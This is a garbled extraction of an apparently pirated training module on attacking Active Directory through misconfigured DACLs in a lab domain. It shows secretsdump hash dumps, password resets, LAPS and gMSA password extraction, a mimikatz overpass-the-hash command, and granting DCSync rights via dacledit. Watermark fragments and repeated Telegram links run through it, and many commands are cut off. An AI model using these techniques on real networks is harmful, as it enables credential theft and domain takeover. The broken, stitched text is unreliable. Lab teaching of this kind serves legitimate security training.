ROBOCOPY :: Robust File Copy for Windows
--------------------------------------------------------------------------
-----
Files : ntds.dit
--------------------------------------------------------------------------
----
1 P:\Windows\ntds\
100% New File 44.0 m ntds.dit
--------------------------------------------------------------------------
----
In Linux, we would not have to worry about authentication since every interaction of our tools
is a new connection. However, suppose we use ccache or similar forms of Kerberos
authentication with files. In that case, we must re-authenticate and generate new files to
apply those new privileges to our new session. For more information, refer to the Pass the
Ticket (PtT) from Linux section of the Password Attacks module.
To save the registry hive from a Linux machine, we will create an SMB share folder and save
the files there.
https://t.me/CyberFreeCourses
[*] Config file parsed
Now, we can use reg.py from Impacket to retrieve the registry hives from Linux using the
credentials of Pedro :
Depending on our privileges, we may be unable to retrieve the NTDS.dit database from
r
Linux. Pedro is not privileged to connect via SMB to the target machine; therefore, we
.i
cannot retrieve the ntds.dit remotely. Instead, we must connect via RDP and download
01
Once we have the SAM and the SYSTEM registry hives and the ntds.dit database, we can
de
use secretsdump.py to dump the database and attain the Administrator's hash:
hi
https://t.me/CyberFreeCourses
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f9ddbbd0677777796c8593e
f89fb639c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931777777d7e0c089c
0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:511c700cce0cb37777774c69e04187
f0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:dafbbaba2fef3a777777b4fedfc38d
ab:::
We can use tools such as psexec.py, wmiexec, CrackMapExec, evil-winrm or any other tool
that allows passing hashes to connect to the target machine.
<SNIP>
Password Abuse
r
.i
01
The abuse of passwords is one of the most common attack vectors to gain access to
systems and data. DACLs can be exploited to abuse password security, especially when we
de
gain access to privileged accounts. This section will explore how different types of DACL
(mis)configurations can enable password abuse attacks and their implications for system
hi
security.
Specifically, we will delve into the abuse of DACL privileges such as ForceChangePassword,
ReadLAPSPassword, and ReadGMSAPassword. By abusing these privileges, we can reset
passwords for other accounts or read passwords for local and domain accounts.
ForceChangePassword
User-Force-Change-Password is an extended access right that allows users to reset the
passwords of other accounts, even those with higher privileges. Let us explore the
implications of the ForceChangePassword edge and how we can abuse it.
If we control an account that can modify another user's password, we can effectively take
over that user's account by changing the password; this is only possible if the controlled
account has certain access rights, such as GenericAll , AllExtendedRights , or User-
Force-Change-Password , over the target account. These access rights allow the controlled
account to modify the target account's password without requiring additional authentication
or authorization.
r
.i
Alternatively, if we are attacking from Linux, we can also use dacledit.py to search for those
access rights . Let us enumerate the access rights that Pedro has over the accounts
01
https://t.me/CyberFreeCourses
1618970724-4617)
As we can see in the above output, the trustee Pedro has different access rights that allow
him to perform a password reset against these accounts.
https://t.me/CyberFreeCourses
If we want to perform the same enumeration from Windows, we can use PowerView. When
we include the option -ResolveGUIDs , PowerView will resolve GUIDs to their display
names. In the following example, if we do not use -ResolveGUIDs for the yolanda account,
we will get the following:
ObjectDN : CN=Yolanda,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724-4616
ActiveDirectoryRights : ExtendedRight
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed r
.i
IsCallback : False
OpaqueLength : 0
01
AccessMask : 256
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
de
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
hi
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
AceQualifier : AccessAllowed
ObjectDN : CN=Yolanda,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724-4616
InheritanceFlags : None
https://t.me/CyberFreeCourses
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
(SMBv1:False)
LDAP 10.129.205.81 445 DC01 [-]
INLANEFREIGHT.LOCAL\yolanda:Mynewpassword1
https://t.me/CyberFreeCourses
INLANEFREIGHT.LOCAL\yolanda:Mynewpassword1
Also, we can use rpcclient to perform a password reset from Linux as follows:
https://t.me/CyberFreeCourses
SecureString 'NewpasswordfromW2' -AsPlainText -Force)) -Reset -Verbose
ReadLAPSPassword
Microsoft's Local Administrator Password Solution (LAPS) allows companies to manage their
local admin passwords better: instead of having a shared password between local admins
(which happens all the time), LAPS offers a simple method to make local admins with
random and cryptographically strong passwords that rotate every 30 days (by default).
LAPS allows managing the local Administrator password (randomized, unique, and changed
regularly) on domain-joined computers. These passwords are centrally stored in Active
Directory and restricted to authorized users using ACLs . Passwords are protected in transit
from the client to the server using Kerberos v5 and AES. Here is how it works:
A LAPS client is installed on each computer. This client is responsible for periodically
changing the local administrator password on the computer.
r
.i
The password is stored in Active Directory as an attribute of the computer object. This
attribute is named ms-MCS-AdmPwd .
01
To access the local administrator password for a computer, we can use the LAPS UI
tool or PowerShell to retrieve the current password from Active Directory.
de
https://t.me/CyberFreeCourses
As we can see, Pedro and the group LAPS READERS have ReadLAPSPassword over the
computer LAPS09 . Rita is a member of the LAPS READERS group; we can use the
BloodHound pathfinder tool to search for this path:
r
.i
01
de
hi
Lets see what happens if we try to use dacledit.py to identify whether the principal Rita
has any DACL over the LAPS09 computer account:
https://t.me/CyberFreeCourses
dacledit.py reports there aren't any. This is one of the limitations that dacledit.py has, as it
does not correlate groups and their members; although Rita has privileges to read LAPS
from LAPS09 , dacledit.py cannot detect it because the privilege is assigned to the group.
If we use the principal as LAPS Readers and the target LAPS09 , we get a match that we
have ReadProperty , which is required to read LAPS :
682150772084)
[*] Inherited type (GUID) : Computer (bf967a86-0de6-11d0-a285-
hi
00aa003049e2)
[*] Trustee (SID) : LAPS Readers (S-1-5-21-1267651629-
1192007096-1618970724-5604)
[*] ACE[23] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE, INHERITED_ACE
[*] Access mask : ControlAccess, ReadProperty
[*] Flags : ACE_OBJECT_TYPE_PRESENT,
ACE_INHERITED_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : UNKNOWN (7e949762-1a81-4448-befd-
cb9eadc22039)
[*] Inherited type (GUID) : Computer (bf967a86-0de6-11d0-a285-
00aa003049e2)
[*] Trustee (SID) : LAPS Readers (S-1-5-21-1267651629-
1192007096-1618970724-5604)
If we want to search for those access rights using PowerView , we can use Get-
DomainObjectAcl:
https://t.me/CyberFreeCourses
Using PowerView to Enumerate DACLs
AceQualifier : AccessAllowed
ObjectDN : CN=LAPS09,OU=LAPS_PC,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ReadProperty
ObjectAceType : ms-Mcs-AdmPwdExpirationTime
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724-4648
InheritanceFlags : ContainerInherit
BinaryLength : 72
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent,
InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-5604
AccessMask : 16
AuditFlags : None r
.i
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : Computer
01
OpaqueLength : 0
de
AceQualifier : AccessAllowed
ObjectDN : CN=LAPS09,OU=LAPS_PC,DC=INLANEFREIGHT,DC=LOCAL
hi
https://t.me/CyberFreeCourses
Note: Please be aware that, similar to dacledit.py, PowerView also shares the same
limitation: it does not conduct a recursive membership search to correlate users with the
privileges associated with the groups they belong. Considering this aspect while utilizing
these tools for user and group analysis is essential.
name ms-mcs-admpwd
---- -------------
LAPS09 Nzr$jIzT/JV4@!
r
.i
Using ActiveDirectory to Dump the LAPS Password
01
DistinguishedName : CN=LAPS09,OU=LAPS_PC,DC=INLANEFREIGHT,DC=LOCAL
DNSHostName : LAPS09.INLANEFREIGHT.LOCAL
Enabled : True
ms-mcs-AdmPwd : Nzr$jIzT/JV4@!
Name : LAPS09
ObjectClass : computer
ObjectGUID : e348774a-9090-4d20-97fd-d340e218252f
SamAccountName : LAPS09$
SID : S-1-5-21-1267651629-1192007096-1618970724-4648
UserPrincipalName :
If we want to enumerate all computers with LAPS enabled, we can use the following script:
https://t.me/CyberFreeCourses
$obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-
AdmPwd",name -ErrorAction SilentlyContinue
if($obj.'ms-mcs-AdmPwd'){
Write-Output "$computer`: $($obj.'ms-mcs-AdmPwd')"
}
}
DC01:
LAPS01: s19I/p9J5@[F$s
LAPS02: y2QLPdd;T9u,]9
<SNIP>
LAPS09: Nzr$jIzT/JV4@!
Note: The above script will only show the LAPS password we can read for the user we are
running the command as.
cd LAPSDumper
python3 laps.py -u rita -p Password123 -l 10.129.205.81 -d
inlanefreight.local
We can use these credentials to connect as administrators to the target computer and
perform any operation to help us achieve our engagement goals.
ReadGMSAPassword
Group Managed Service Accounts ( gMSAs ) is a feature in Microsoft Active Directory that
provides a secure and automated mechanism for managing service accounts used by
applications and services running on Windows servers. Unlike regular service accounts,
https://t.me/CyberFreeCourses
gMSAs have built-in password management and simplified key distribution, eliminating the
need to manage and update passwords manually.
When a gMSA is created, it is associated with a specific Active Directory group, allowing
multiple servers or applications to share the same gMSA for authentication. This association
simplifies the administration and maintenance of service accounts across multiple systems.
BloodHound establishes a path revealing that Pedro actively possesse the access right
ReadGMSAPassword over three gMSAs accounts. This path signifies Pedro 's direct authority
https://t.me/CyberFreeCourses
and control over these accounts, meaning we can use his account to retrieve those
passwords.
Using gMSADumper.py
> pedro
tomcat-dev$:::61eaf67d824f3928a8b8dc86e00f156d
de
tomcat-dev$:aes256-cts-hmac-sha1-
96:b5dfe81f958c03184920f8610c935cd5ce3b79f10b8a097fc244289ded28d212
hi
tomcat-dev$:aes128-cts-hmac-sha1-96:16dc54eb9e738d3ce2e76bd21945c6c8
Users or groups who can read password for apache-dev$:
> pedro
apache-dev$:::69978088b44350772febdb1e3dac6f39
apache-dev$:aes256-cts-hmac-sha1-
96:63ad7e01162535bce95d3dd17a0ff9832f11f6eb9fadee8412a01e552f3def34
apache-dev$:aes128-cts-hmac-sha1-96:9ac7ff00e20996e41edc1c13b3dba245
https://t.me/CyberFreeCourses
INLANEFREIGHT.LOCAL\jenkins-dev$:4d8bcd4f5c70fe71beb848b4ab124e61
Executing GMSAPasswordReader
C:\Tools> whoami
inlanefreight\pedro
C:\Tools> GMSAPasswordReader.exe --accountname apache-dev
B6BB8AFDEF363CBBBFCE956BFA3E9EC0E218FE2D7EDC79BC45C9D5ACF37700D2
[*] des_cbc_md5 : 2CB0CD012345C4AB
hi
It is important to note that this action may yield multiple hashes, including one for the old
password and another for the current password . It is worth considering that either of
these values could be valid for subsequent operations.
Once the hashes has been obtained, it can be used similarly to a regular user account.
Techniques such as pass-the-hash ( PtH ) or overpass-the-hash ( OtH ) can be
performed, leveraging the hash as an input for various offensive operations.
https://t.me/CyberFreeCourses
Let's use mimikatz, located in C:\Tools , to perform an OverPass the Hash attack. The
following command will open a PowerShell window that will contain the ticket of the GMSA
account apache-dev$ :
mimikatz(commandline) # privilege::debug
Privilege '20' OK r
.i
mimikatz(commandline) # sekurlsa::pth /user:apache-dev$
01
/domain:inlanefreight.local /ntlm:69978088B44350772FEBDB1E3DAC6F39
/run:powershell.exe
user : apache-dev$
de
domain : inlanefreight.local
program : powershell.exe
hi
impers. : no
NTLM : 69978088B44350772FEBDB1E3DAC6F39
| PID 5276
| TID 7888
| LSA Process is now R/W
| LUID 0 ; 30799197 (00000000:01d5f55d)
\_ msv1_0 - data copy @ 0000029A02E0AC80 : OK !
\_ kerberos - data copy @ 0000029A03349848
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000029A0329C168 (32) -> null
mimikatz(commandline) # exit
Bye!
https://t.me/CyberFreeCourses
From this new window, we can start abusing the rights of apache-dev$ .
Note: If we change a user group membership or assign new rights, we need to create a new
session that holds the new rights. For example, if we added apache-dev$ to a group and
tried to use the PowerShell window we launched before the changes, it won't have the rights
for the new group we assigned the account.
Suppose we possess an account with privileges to modify a target object's DACL through the
ownership or WriteDacl access rights. In that case, we can use that account to edit the
target's DACL and make it vulnerable to other attacks. r
.i
In the following example, we hijacked an account with WriteDacl over the root domain
object. We can use this access rights to grant us DCSync rights. The domain's DACL , if
01
We can use BloodHound to identify objects vulnerable to WriteDacl or with the edge
Owner . Although we can use the cypher query we used before and replace it with
WriteDacl or Owner , this may create many difficult paths to check. We can use the
pathfinding option to identify the paths from the account we have control of to our target:
We can also use PowerView to identify if Luna has Active Directory rights over the domain
INLANEFREIGHT.LOCAL . To do so, we will use the function Get-DomainSID and pass it to the
function Get-DomainObjectAcl ; this is because if we use -Identity
inlanefreight.local , we will get a few more objects due to inheritance issues and the
domain name appearing on those objects:
https://t.me/CyberFreeCourses
Querying Luna's DACL over the Domain
AceType : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : WriteDacl
OpaqueLength : 0
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4618
AccessMask : 262144
AuditFlags : None r
.i
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
01
de
We can use dacledit.py to find those privileges, but instead of using the -target option,
we will use -target-dn to specify the Domain Distinguished name:
hi
https://t.me/CyberFreeCourses
1618970724-4618)
Before editing the domain's DACL , let us try to perform the DCSync attack using
secretsdump from impacket:
vss parameter
[*] Cleaning up...
hi
Up until now, the only action we have done with dacledit.py has been querying DACLs ;
however, this tool also allows us to modify DACLs . We will use the -action write option to
indicate that we want to modify the DACL , followed by the -rights dcsync option to
indicate the access rights we want to assign to the account one we have selected.
https://t.me/CyberFreeCourses
Afterward, if we enumerate the DACL , we will be able to see that the access rights were
indeed modified:
1618970724-4618)
[*] ACE[15] info
de
Once we edit the DACL for the Domain, we can perform DCSync :
https://t.me/CyberFreeCourses
Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra
https://t.me/CyberFreeCourses
[*] ACE[20] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE, INHERITED_ACE
[*] Access mask : WriteDACL (0x40000)
[*] Trustee (SID) : luna (S-1-5-21-1267651629-1192007096-
1618970724-4618)
r
Querying Luna's DACLs over the Finance Group after
.i
Modification
01
10.129.205.81 inlanefreight.local/luna:Moon123
hi
https://t.me/CyberFreeCourses
Now we can add a user to the group using addusertogroup:
If we want to revert the DACL modification, we can use the backup file generated by
dacledit.py when we performed the write action :
Corporation
de
https://t.me/CyberFreeCourses
[*] Access mask : WriteDACL (0x40000)
[*] Trustee (SID) : luna (S-1-5-21-1267651629-1192007096-
1618970724-4618)
Note: Additionally, starting in BloodHound 4.3.1, the help menu provides steps for both Linux
and Windows on how to abuse access rights.
Grant ownership
We obtained access to an account with the WriteOwner access right over a target object.
This particular account allows us to modify the owner of the target object, specifically the
OwnerSid sub-attribute within the object's security descriptor . Exploiting this access
right opens up possibilities for various abuses, depending on the target object: if we have
WriteOwner over a user we can assign all rights to another account (which will allow us to
perform a Password Reset or targeted Kerberoasting ), if it is a group we can add or
remove members, and if it is a GPO we can modify it.
Note: GPO Attacks as well other DACL abuses (such as computer attacks) will be covered in
other DACL Attacks mini-modules. r
.i
The WriteOwner access right allows us to modify the object's owner; however, when using
dacledit.py or PowerView , these tools will not show us any access rights we can abuse.
01
For example, Lilia is the owner of the group Managers , if we use PowerView or
dacledit.py , we will not get any result if we look for the object DACL :
de
https://t.me/CyberFreeCourses
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|
(samAccountName=krbtgt)))
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DC01.INLANEFREIGHT.LOCAL/CN=Schema,CN=Configuration,DC=INLANEFREIGH
T,DC=LOCAL
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DC01.INLANEFREIGHT.LOCAL/CN=Extended-
Rights,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObjectAcl] Get-DomainObjectAcl filter string: (&(|(|
(samAccountName=Managers)(name=Managers)(displayname=Managers))))
r
.i
01
de
hi
First, we will use BloodHound with a cypher query to identify those access rights. We
include n:User so that BloodHound returns only paths created from a user object. We can
do the same with groups; however, that will create too many paths, making it more
challenging to analyze.
https://t.me/CyberFreeCourses
Similarly, we can use dacledit.py and PowerView to identify those access rights:
Corporation
https://t.me/CyberFreeCourses
PS C:\Tools> $userSID = ConvertTo-SID pedro
PS C:\Tools> Get-DomainObjectAcl -Identity GPOAdmin -ResolveGUIDs | ?
{$_.SecurityIdentifier -eq $userSID}
AceType : AccessAllowed
ObjectDN : CN=GPOAdmin,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : WriteOwner
OpaqueLength : 0
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724-4624
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
AccessMask : 524288
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
r
Before editing the target's Owner and DACL , let us try to perform a password reset to
.i
confirm that we do not have such privileges:
01
https://t.me/CyberFreeCourses
Let us download the tool directly from ShutdownRepo/Impacket and save it in the same
folder where we have dacledit.py and execute the attack:
wget -q
https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples
/owneredit.py -O ./shutdownRepo/impacket/examples/owneredit.py
python3 examples/owneredit.py -action write -new-owner pedro -target
GPOAdmin -dc-ip 10.129.205.81 inlanefreight.local/pedro:SecuringAD01
to conduct a password reset. However, the ownership of the target object allows for editing
its DACL and grant the necessary rights. Let us grant Pedro the access right to perform a
de
password reset. dacledit.py allow us to modify a DACL and add the following predefined
rights: FullControl , ResetPassword , WriteMembers , and DCSync , but we can also use
hi
the -rights-guid option to specify any other extended access right manually.
FullControl is the default access right (use the help menu to get more information). Let us
grant Pedro FullControl over the GPOAdmin account:
Now, we can perform the password reset and test that the credentials are correct:
https://t.me/CyberFreeCourses
Password Reset GPOAdmin
LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=pedro)(name=pedro)(displayname=pedro))))
hi
To edit another object's DACL , we can use the Add-DomainObjectAcl function from
PowerView. The PowerView -Rights option supports All , ResetPassword ,
WriteMembers , and DCSync (notice that PowerView uses All instead of FullControl ,
but they are identical). Alternatively, we can use the option -RightsGUID to manually specify
the extended access rights we want to apply:
https://t.me/CyberFreeCourses
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=pedro)(name=pedro)(displayname=pedro))))
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=GPOAdmin)(name=GPOAdmin)(displayname=GPOAdmin))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Pedro
Valt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 'All' on
CN=GPOAdmin,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Pedro
Valt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL rights GUID
'00000000-0000-0000-0000-000000000000' on
CN=GPOAdmin,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Skills Assessment
hi
It is time to chain together all the DACL abuses and attacks covered throughout the module.
Scenario
Inlanefreight , a company that delivers customized global freight solutions, recently
terminated one of its systems administrators after several discussions, meetings, and
training sessions due to not implementing nor following AD security best practices.
Specifically, this sysadmin was known to spray privileged and unnecessary access rights to
all objects within the network, violating the principle of least privilege. Therefore, they are
worried that might an adversary breaches them, the consequences would be unbearable.
Knowing that you deeply understand AD security and excel at attacking misconfigured
DACLs , they contacted you so that you perform a penetration test against their AD
environment. They want you to focus mainly on auditing the DACLs of the various network
objects.
For this internal assessment, Inlanefreight has provided you with a computer named
WS01 and an account named carlos . To connect to WS01 , you must use the target IP
https://t.me/CyberFreeCourses
address and the RDP port 13389 . After connecting, you will start enumerating and attacking
Inlanefreight 's AD environment to evaluate their security.
Rules of Engagement
The company has one particular rule of engagement that must be complied with throughout
the penetration test. Breaching it renders the contract revoked. You must comply with the
following:
Note: You can perform the enumeration and attacks from both Linux and Windows.
BloodHound and all tools needed to complete the lab are located in C:\Tools\. BloodHound
credentials are neo4j:Password123
r
.i
01
de
hi
https://t.me/CyberFreeCourses